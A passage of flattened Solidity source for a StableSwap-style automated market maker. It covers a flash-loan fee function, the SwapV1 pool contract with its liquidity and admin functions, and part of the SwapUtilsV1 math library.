amount, amountFee, params ); uint256 availableLiquidityAfter = token.balanceOf(address(this)); require( availableLiquidityAfter >= availableLiquidityBefore.add(amountFee), "flashLoan fee is not met" ); swapStorage.balances[tokenIndex] = availableLiquidityAfter .sub(protocolBalanceBefore) .sub(protocolFee); emit FlashLoan(receiver, tokenIndex, amount, amountFee, protocolFee); } /*** ADMIN FUNCTIONS ***/ /** * @notice Updates the flash loan fee parameters. This function can only be called by the owner. * @param newFlashLoanFeeBPS the total fee in bps to be applied on future flash loans * @param newProtocolFeeShareBPS the protocol fee in bps to be applied on the total flash loan fee */ function setFlashLoanFees( uint256 newFlashLoanFeeBPS, uint256 newProtocolFeeShareBPS ) external onlyOwner { require( newFlashLoanFeeBPS > 0 && newFlashLoanFeeBPS <= MAX_BPS && newProtocolFeeShareBPS <= MAX_BPS, "fees are not in valid range" ); flashLoanFeeBPS = newFlashLoanFeeBPS; protocolFeeShareBPS = newProtocolFeeShareBPS; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; import "./OwnerPausableUpgradeable.sol"; import "./SwapUtilsV1.sol"; import "./AmplificationUtilsV1.sol"; /** * @title Swap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's * deployment size. */ contract SwapV1 is OwnerPausableUpgradeable, ReentrancyGuardUpgradeable { using SafeERC20 for IERC20; using SafeMath for uint256; using SwapUtilsV1 for SwapUtilsV1.Swap; using AmplificationUtilsV1 for SwapUtilsV1.Swap; // Struct storing data responsible for automatic market maker functionalities. In order to // access this data, this contract uses SwapUtils library. For more details, see SwapUtilsV1.sol SwapUtilsV1.Swap public swapStorage; // Maps token address to an index in the pool. Used to prevent duplicate tokens in the pool. // getTokenIndex function also relies on this mapping to retrieve token index. mapping(address => uint8) private tokenIndexes; /*** EVENTS ***/ // events replicated from SwapUtils to make the ABI easier for dumb // clients event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); /** * @notice Initializes this Swap contract with the given parameters. * This will also clone a LPToken contract that represents users' * LP positions. The owner of LPToken will be this contract - which means * only this contract is allowed to mint/burn tokens. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with * @param _withdrawFee default withdrawFee to be initialized with * @param lpTokenTargetAddress the address of an existing LPToken contract to use as a target */ function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, uint256 _withdrawFee, address lpTokenTargetAddress ) public virtual initializer { __OwnerPausable_init(); __ReentrancyGuard_init(); // Check _pooledTokens and precisions parameter require(_pooledTokens.length > 1, "_pooledTokens.length <= 1"); require(_pooledTokens.length <= 32, "_pooledTokens.length > 32"); require( _pooledTokens.length == decimals.length, "_pooledTokens decimals mismatch" ); uint256[] memory precisionMultipliers = new uint256[](decimals.length); for (uint8 i = 0; i < _pooledTokens.length; i++) { if (i > 0) { // Check if index is already used. Check if 0th element is a duplicate. require( tokenIndexes[address(_pooledTokens[i])] == 0 && _pooledTokens[0] != _pooledTokens[i], "Duplicate tokens" ); } require( address(_pooledTokens[i]) != address(0), "The 0 address isn't an ERC-20" ); require( decimals[i] <= SwapUtilsV1.POOL_PRECISION_DECIMALS, "Token decimals exceeds max" ); precisionMultipliers[i] = 10 ** uint256(SwapUtilsV1.POOL_PRECISION_DECIMALS).sub( uint256(decimals[i]) ); tokenIndexes[address(_pooledTokens[i])] = i; } // Check _a, _fee, _adminFee, _withdrawFee parameters require(_a < AmplificationUtilsV1.MAX_A, "_a exceeds maximum"); require(_fee < SwapUtilsV1.MAX_SWAP_FEE, "_fee exceeds maximum"); require( _adminFee < SwapUtilsV1.MAX_ADMIN_FEE, "_adminFee exceeds maximum" ); require( _withdrawFee < SwapUtilsV1.MAX_WITHDRAW_FEE, "_withdrawFee exceeds maximum" ); // Clone and initialize a LPToken contract LPToken lpToken = LPToken(Clones.clone(lpTokenTargetAddress)); require( lpToken.initialize(lpTokenName, lpTokenSymbol), "could not init lpToken clone" ); // Initialize swapStorage struct swapStorage.lpToken = lpToken; swapStorage.pooledTokens = _pooledTokens; swapStorage.tokenPrecisionMultipliers = precisionMultipliers; swapStorage.balances = new uint256[](_pooledTokens.length); swapStorage.initialA = _a.mul(AmplificationUtilsV1.A_PRECISION); swapStorage.futureA = _a.mul(AmplificationUtilsV1.A_PRECISION); // swapStorage.initialATime = 0; // swapStorage.futureATime = 0; swapStorage.swapFee = _fee; swapStorage.adminFee = _adminFee; swapStorage.defaultWithdrawFee = _withdrawFee; } /*** MODIFIERS ***/ /** * @notice Modifier to check deadline against current timestamp * @param deadline latest timestamp to accept this transaction */ modifier deadlineCheck(uint256 deadline) { require(block.timestamp <= deadline, "Deadline not met"); _; } /*** VIEW FUNCTIONS ***/ /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @return A parameter */ function getA() external view virtual returns (uint256) { return swapStorage.getA(); } /** * @notice Return A in its raw precision form * @dev See the StableSwap paper for details * @return A parameter in its raw precision form */ function getAPrecise() external view virtual returns (uint256) { return swapStorage.getAPrecise(); } /** * @notice Return address of the pooled token at given index. Reverts if tokenIndex is out of range. * @param index the index of the token * @return address of the token at given index */ function getToken(uint8 index) public view virtual returns (IERC20) { require(index < swapStorage.pooledTokens.length, "Out of range"); return swapStorage.pooledTokens[index]; } /** * @notice Return the index of the given token address. Reverts if no matching * token is found. * @param tokenAddress address of the token * @return the index of the given token address */ function getTokenIndex(address tokenAddress) public view virtual returns (uint8) { uint8 index = tokenIndexes[tokenAddress]; require( address(getToken(index)) == tokenAddress, "Token does not exist" ); return index; } /** * @notice Return timestamp of last deposit of given address * @return timestamp of the last deposit made by the given address */ function getDepositTimestamp(address user) external view virtual returns (uint256) { return swapStorage.getDepositTimestamp(user); } /** * @notice Return current balance of the pooled token at given index * @param index the index of the token * @return current balance of the pooled token at given index with token's native precision */ function getTokenBalance(uint8 index) external view virtual returns (uint256) { require(index < swapStorage.pooledTokens.length, "Index out of range"); return swapStorage.balances[index]; } /** * @notice Get the virtual price, to help calculate profit * @return the virtual price, scaled to the POOL_PRECISION_DECIMALS */ function getVirtualPrice() external view virtual returns (uint256) { return swapStorage.getVirtualPrice(); } /** * @notice Calculate amount of tokens you receive on swap * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view virtual returns (uint256) { return swapStorage.calculateSwap(tokenIndexFrom, tokenIndexTo, dx); } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param account address that is depositing or withdrawing tokens * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return token amount the user will receive */ function calculateTokenAmount( address account, uint256[] calldata amounts, bool deposit ) external view virtual returns (uint256) { return swapStorage.calculateTokenAmount(account, amounts, deposit); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of LP tokens * @param account the address that is withdrawing tokens * @param amount the amount of LP tokens that would be burned on withdrawal * @return array of token balances that the user will receive */ function calculateRemoveLiquidity(address account, uint256 amount) external view virtual returns (uint256[] memory) { return swapStorage.calculateRemoveLiquidity(account, amount); } /** * @notice Calculate the amount of underlying token available to withdraw * when withdrawing via only single token * @param account the address that is withdrawing tokens * @param tokenAmount the amount of LP token to burn * @param tokenIndex index of which token will be withdrawn * @return availableTokenAmount calculated amount of underlying token * available to withdraw */ function calculateRemoveLiquidityOneToken( address account, uint256 tokenAmount, uint8 tokenIndex ) external view virtual returns (uint256 availableTokenAmount) { return swapStorage.calculateWithdrawOneToken( account, tokenAmount, tokenIndex ); } /** * @notice Calculate the fee that is applied when the given user withdraws. The withdraw fee * decays linearly over period of 4 weeks. For example, depositing and withdrawing right away * will charge you the full amount of withdraw fee. But withdrawing after 4 weeks will charge you * no additional fees. * @dev returned value should be divided by FEE_DENOMINATOR to convert to correct decimals * @param user address you want to calculate withdraw fee of * @return current withdraw fee of the user */ function calculateCurrentWithdrawFee(address user) external view virtual returns (uint256) { return swapStorage.calculateCurrentWithdrawFee(user); } /** * @notice This function reads the accumulated amount of admin fees of the token with given index * @param index Index of the pooled token * @return admin's token balance in the token's precision */ function getAdminBalance(uint256 index) external view virtual returns (uint256) { return swapStorage.getAdminBalance(index); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice Swap two tokens using this pool * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.swap(tokenIndexFrom, tokenIndexTo, dx, minDy); } /** * @notice Add liquidity to the pool with the given amounts of tokens * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amount of LP token user minted and received */ function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.addLiquidity(amounts, minToMint); } /** * @notice Burn LP tokens to remove liquidity from the pool. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @dev Liquidity can always be removed, even when the pool is paused. * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amounts of tokens user received */ function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external virtual nonReentrant deadlineCheck(deadline) returns (uint256[] memory) { return swapStorage.removeLiquidity(amount, minAmounts); } /** * @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @param deadline latest timestamp to accept this transaction * @return amount of chosen token user received */ function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityOneToken( tokenAmount, tokenIndex, minAmount ); } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @param deadline latest timestamp to accept this transaction * @return amount of LP tokens burned */ function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityImbalance(amounts, maxBurnAmount); } /*** ADMIN FUNCTIONS ***/ /** * @notice Updates the user withdraw fee. This function can only be called by * the pool token. Should be used to update the withdraw fee on transfer of pool tokens. * Transferring your pool token will reset the 4 weeks period. If the recipient is already * holding some pool tokens, the withdraw fee will be discounted in respective amounts. * @param recipient address of the recipient of pool token * @param transferAmount amount of pool token to transfer */ function updateUserWithdrawFee(address recipient, uint256 transferAmount) external { require( msg.sender == address(swapStorage.lpToken), "Only callable by pool token" ); swapStorage.updateUserWithdrawFee(recipient, transferAmount); } /** * @notice Withdraw all admin fees to the contract owner */ function withdrawAdminFees() external onlyOwner { swapStorage.withdrawAdminFees(owner()); } /** * @notice Update the admin fee. Admin fee takes portion of the swap fee. * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(uint256 newAdminFee) external onlyOwner { swapStorage.setAdminFee(newAdminFee); } /** * @notice Update the swap fee to be applied on swaps * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(uint256 newSwapFee) external onlyOwner { swapStorage.setSwapFee(newSwapFee); } /** * @notice Update the withdraw fee. This fee decays linearly over 4 weeks since * user's last deposit. * @param newWithdrawFee new withdraw fee to be applied on future deposits */ function setDefaultWithdrawFee(uint256 newWithdrawFee) external onlyOwner { swapStorage.setDefaultWithdrawFee(newWithdrawFee); } /** * @notice Start ramping up or down A parameter towards given futureA and futureTime * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param futureA the new A to ramp towards * @param futureTime timestamp when the new A should be reached */ function rampA(uint256 futureA, uint256 futureTime) external onlyOwner { swapStorage.rampA(futureA, futureTime); } /** * @notice Stop ramping A immediately. Reverts if ramp A is already stopped. */ function stopRampA() external onlyOwner { swapStorage.stopRampA(); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./AmplificationUtilsV1.sol"; import "./LPToken.sol"; import "./MathUtils.sol"; /** * @title SwapUtils library * @notice A library to be used within Swap.sol. Contains functions responsible for custody and AMM functionalities. * @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library * for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins. * Admin functions should be protected within contracts using this library. */ library SwapUtilsV1 { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; /*** EVENTS ***/ event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); struct Swap { // variables around the ramp management of A, // the amplification coefficient * n * (n - 1) // see https://www.curve.fi/stableswap-paper.pdf for details uint256 initialA; uint256 futureA; uint256 initialATime; uint256 futureATime; // fee calculation uint256 swapFee; uint256 adminFee; uint256 defaultWithdrawFee; LPToken lpToken; // contract references for all tokens being pooled IERC20[] pooledTokens; // multipliers for each pooled token's precision to get to POOL_PRECISION_DECIMALS // for example, TBTC has 18 decimals, so the multiplier should be 1. WBTC // has 8, so the multiplier should be 10 ** 18 / 10 ** 8 => 10 ** 10 uint256[] tokenPrecisionMultipliers; // the pool balance of each token, in the token's precision // the contract's actual token balance might differ uint256[] balances; mapping(address => uint256) depositTimestamp; mapping(address => uint256) withdrawFeeMultiplier; } // Struct storing variables used in calculations in the // calculateWithdrawOneTokenDY function to avoid stack too deep errors struct CalculateWithdrawOneTokenDYInfo { uint256 d0; uint256 d1; uint256 newY; uint256 feePerToken; uint256 preciseA; } // Struct storing variables used in calculations in the // {add,remove}Liquidity functions to avoid stack too deep errors struct ManageLiquidityInfo { uint256 d0; uint256 d1; uint256 d2; uint256 preciseA; LPToken lpToken; uint256 totalSupply; uint256[] balances; uint256[] multipliers; } // the precision all pools tokens will be converted to uint8 public constant POOL_PRECISION_DECIMALS = 18; // the denominator used to calculate admin and LP fees. For example, an // LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR) uint256 private constant FEE_DENOMINATOR = 10**10; // Max swap fee is 1% or 100bps of each swap uint256 public constant MAX_SWAP_FEE = 10**8; // Max adminFee is 100% of the swapFee // adminFee does not add additional fee on top of swapFee // Instead it takes a certain % of the swapFee. Therefore it has no impact on the // users but only on the earnings of LPs uint256 public constant MAX_ADMIN_FEE = 10**10; // Max withdrawFee is 1% of the value withdrawn // Fee will be redistributed to the LPs in the pool, rewarding // long term providers. uint256 public constant MAX_WITHDRAW_FEE = 10**8; // Constant value used as max loop limit uint256 private constant MAX_LOOP_LIMIT = 256; // Time that it should take for the withdraw fee to fully decay to 0 uint256 public constant WITHDRAW_FEE_DECAY_TIME = 4 weeks; /*** VIEW & PURE FUNCTIONS ***/ /** * @notice Retrieves the timestamp of last deposit made by the given address * @param self Swap struct to read from * @return timestamp of last deposit */ function getDepositTimestamp(Swap storage self, address user) external view returns (uint256) { return self.depositTimestamp[user]; } function _getAPrecise(Swap storage self) internal view returns (uint256) { return AmplificationUtilsV1._getAPrecise(self); } /** * @notice Calculate the dy, the amount of selected token that user receives and * the fee of withdrawing in one token * @param account the address that is withdrawing * @param tokenAmount the amount to withdraw in the pool's precision * @param tokenIndex which token will be withdrawn * @param self Swap struct to read from * @return the amount of token user will receive */ function calculateWithdrawOneToken( Swap storage self, address account, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256) { (uint256 availableTokenAmount, ) = _calculateWithdrawOneToken( self, account, tokenAmount, tokenIndex, self.lpToken.totalSupply() ); return availableTokenAmount; } function _calculateWithdrawOneToken( Swap storage self, address account, uint256 tokenAmount, uint8 tokenIndex, uint256 totalSupply ) internal view returns (uint256, uint256) { uint256 dy; uint256 newY; uint256 currentY; (dy, newY, currentY) = calculateWithdrawOneTokenDY( self, tokenIndex, tokenAmount, totalSupply ); // dy_0 (without fees) // dy, dy_0 - dy uint256 dySwapFee = currentY .sub(newY) .div(self.tokenPrecisionMultipliers[tokenIndex]) .sub(dy); dy = dy .mul( FEE_DENOMINATOR.sub(_calculateCurrentWithdrawFee(self, account)) ) .div(FEE_DENOMINATOR); return (dy, dySwapFee); } /** * @notice Calculate the dy of withdrawing in one token * @param self Swap struct to read from * @param tokenIndex which token will be withdrawn * @param tokenAmount the amount to withdraw in the pools precision * @return the d and the new y after withdrawing one token */ function calculateWithdrawOneTokenDY( Swap storage self, uint8 tokenIndex, uint256 tokenAmount, uint256 totalSupply ) internal view returns ( uint256, uint256, uint256 ) { // Get the current D, then solve the stableswap invariant // y_i for D - tokenAmount uint256[] memory xp = _xp(self); require(tokenIndex < xp.length, "Token index out of range"); CalculateWithdrawOneTokenDYInfo memory v = CalculateWithdrawOneTokenDYInfo(0, 0, 0, 0, 0); v.preciseA = _getAPrecise(self); v.d0 = getD(xp, v.preciseA); v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(totalSupply)); require(tokenAmount <= xp[tokenIndex], "Withdraw exceeds available"); v.newY = getYD(v.preciseA, tokenIndex, xp, v.d1); uint256[] memory xpReduced = new uint256[](xp.length); v.feePerToken = _feePerToken(self.swapFee, xp.length); for (uint256 i = 0; i < xp.length; i++) { uint256 xpi = xp[i]; // if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY // else dxExpected = xp[i] - (xp[i] * d1 / d0) // xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR xpReduced[i] = xpi.sub( ( (i == tokenIndex) ? xpi.mul(v.d1).div(v.d0).sub(v.newY) : xpi.sub(xpi.mul(v.d1).div(v.d0)) ).mul(v.feePerToken).div(FEE_DENOMINATOR) ); } uint256 dy = xpReduced[tokenIndex].sub( getYD(v.preciseA, tokenIndex, xpReduced, v.d1) ); dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]); return (dy, v.newY, xp[tokenIndex]); } /** * @notice Calculate the price of a token in the pool with given * precision-adjusted balances and a particular D. * * @dev This is accomplished via solving the invariant iteratively. * See the StableSwap paper and Curve.fi implementation for further details. * * x_1**2 + x1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) * x_1**2 + b*x_1 = c * x_1 = (x_1**2 + c) / (2*x_1 + b) * * @param a the amplification coefficient * n * (n - 1). See the StableSwap paper for details. * @param tokenIndex Index of token we are calculating for. * @param xp a precision-adjusted set of pool balances. Array should be * the same cardinality as the pool. * @param d the stableswap invariant * @return the price of the token, in the same precision as in xp */ function getYD( uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d ) internal pure returns (uint256) { uint256 numTokens = xp.length; require(tokenIndex < numTokens, "Token not found"); uint256 c = d; uint256 s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < numTokens; i++) { if (i != tokenIndex) { s = s.add(xp[i]); c = c.mul(d).div(xp[i].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } } c = c.mul(d).mul(AmplificationUtilsV1.A_PRECISION).div( nA.mul(numTokens) ); uint256 b = s.add(d.mul(AmplificationUtilsV1.A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Get D, the StableSwap invariant, based on a set of balances and a particular A. * @param xp a precision-adjusted set of pool balances. Array should be the same cardinality * as the pool. * @param a the amplification coefficient * n * (n - 1) in A_PRECISION. * See the StableSwap paper for details * @return the invariant, at the precision of the pool */ function getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) { uint256 numTokens = xp.length; uint256 s; for (uint256 i = 0; i < numTokens; i++) { s = s.add(xp[i]); } if (s == 0) { return 0; } uint256 prevD; uint256 d = s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { uint256 dP = d; for (uint256 j = 0; j < numTokens; j++) { dP = dP.mul(d).div(xp[j].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // dP = dP * D * D * D * ... overflow! } prevD = d; d = nA .mul(s) .div(AmplificationUtilsV1.A_PRECISION) .add(dP.mul(numTokens)) .mul(d) .div( nA .sub(AmplificationUtilsV1.A_PRECISION) .mul(d) .div(AmplificationUtilsV1.A_PRECISION) .add(numTokens.add(1).mul(dP)) ); if (d.within1(prevD)) { return d; } } // Convergence should occur in 4 loops or less. If this is reached, there may be something wrong // with the pool. If this were to occur repeatedly, LPs should withdraw via `removeLiquidity()` // function which does not rely on D. revert("D does not converge"); } /** * @notice Given a set of balances and precision multipliers, return the * precision-adjusted balances. * * @param balances an array of token balances, in their native precisions. * These should generally correspond with pooled tokens. * * @param precisionMultipliers an array of multipliers, corresponding to * the amounts in the balances array. When multiplied together they * should yield amounts at the pool's precision. * * @return an array of amounts "scaled" to the pool's precision */ function _xp( uint256[] memory balances, uint256[] memory precisionMultipliers ) internal pure returns (uint256[] memory) { uint256 numTokens = balances.length; require( numTokens == precisionMultipliers.length, "Balances must match multipliers" ); uint256[] memory xp = new uint256[](numTokens); for (uint256 i = 0; i < numTokens; i++) { xp[i] = balances[i].mul(precisionMultipliers[i]); } return xp; } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(Swap storage self) internal view returns (uint256[] memory) { return _xp(self.balances, self.tokenPrecisionMultipliers); } /** * @notice Get the virtual price, to help calculate profit * @param self Swap struct to read from * @return the virtual price, scaled to precision of POOL_PRECISION_DECIMALS */ function getVirtualPrice(Swap storage self) external view returns (uint256) { uint256 d = getD(_xp(self), _getAPrecise(self)); LPToken lpToken = self.lpToken; uint256 supply = lpToken.totalSupply(); if (supply > 0) { return d.mul(10**uint256(POOL_PRECISION_DECIMALS)).div(supply); } return 0; } /** * @notice Calculate the new balances of the tokens given the indexes of the token * that is swapped from (FROM) and the token that is swapped to (TO). * This function is used as a helper function to calculate how much TO token * the user should receive on swap. * * @param preciseA precise form of amplification coefficient * @param tokenIndexFrom index of FROM token * @param tokenIndexTo index of TO token * @param x the new total amount of FROM token * @param xp balances of the tokens in the pool * @return the amount of TO token that should remain in the pool */ function getY( uint256 preciseA, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp ) internal pure returns (uint256) { uint256 numTokens = xp.length; require( tokenIndexFrom != tokenIndexTo, "Can't compare token to itself" ); require( tokenIndexFrom < numTokens && tokenIndexTo < numTokens, "Tokens must be in pool" ); uint256 d = getD(xp, preciseA); uint256 c = d; uint256 s; uint256 nA = numTokens.mul(preciseA); uint256 _x; for (uint256 i = 0; i < numTokens; i++) { if (i == tokenIndexFrom) { _x = x; } else if (i != tokenIndexTo) { _x = xp[i]; } else { continue; } s = s.add(_x); c = c.mul(d).div(_x.mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } c = c.mul(d).mul(AmplificationUtilsV1.A_PRECISION).div( nA.mul(numTokens) ); uint256 b = s.add(d.mul(AmplificationUtilsV1.A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; // iterative approximation for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Externally calculates a swap between two tokens. * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256 dy) { (dy, ) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, self.balances ); } /** * @notice Internally calculates a swap between two tokens. * * @dev The caller is expected to transfer the actual amounts (dx and dy) * using the token contracts. * * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get * @return dyFee the associated fee */ function _calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256[] memory balances ) internal view returns (uint256 dy, uint256 dyFee) { uint256[] memory multipliers = self.tokenPrecisionMultipliers; uint256[] memory xp = _xp(balances, multipliers); require( tokenIndexFrom < xp.length && tokenIndexTo < xp.length, "Token index out of range" ); uint256 x = dx.mul(multipliers[tokenIndexFrom]).add(xp[tokenIndexFrom]); uint256 y = getY( _getAPrecise(self), tokenIndexFrom, tokenIndexTo, x, xp ); dy = xp[tokenIndexTo].sub(y).sub(1); dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR); dy = dy.sub(dyFee).div(multipliers[tokenIndexTo]); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of * LP tokens * * @param account the address that is removing liquidity. required for withdraw fee calculation * @param amount the amount of LP tokens that would to be burned on * withdrawal * @return array of amounts of tokens user will receive */ function calculateRemoveLiquidity( Swap storage self, address account, uint256 amount ) external view returns (uint256[] memory) { return _calculateRemoveLiquidity( self, self.balances, account, amount, self.lpToken.totalSupply() ); } function _calculateRemoveLiquidity( Swap storage self, uint256[] memory balances, address account, uint256 amount, uint256 totalSupply ) internal view returns (uint256[] memory) { require(amount <= totalSupply, "Cannot exceed total supply"); uint256 feeAdjustedAmount = amount .mul( FEE_DENOMINATOR.sub(_calculateCurrentWithdrawFee(self, account)) ) .div(FEE_DENOMINATOR); uint256[] memory amounts = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { amounts[i] = balances[i].mul(feeAdjustedAmount).div(totalSupply); } return amounts; } /** * @notice Calculate the fee that is applied when the given user withdraws. * Withdraw fee decays linearly over WITHDRAW_FEE_DECAY_TIME. * @param user address you want to calculate withdraw fee of * @return 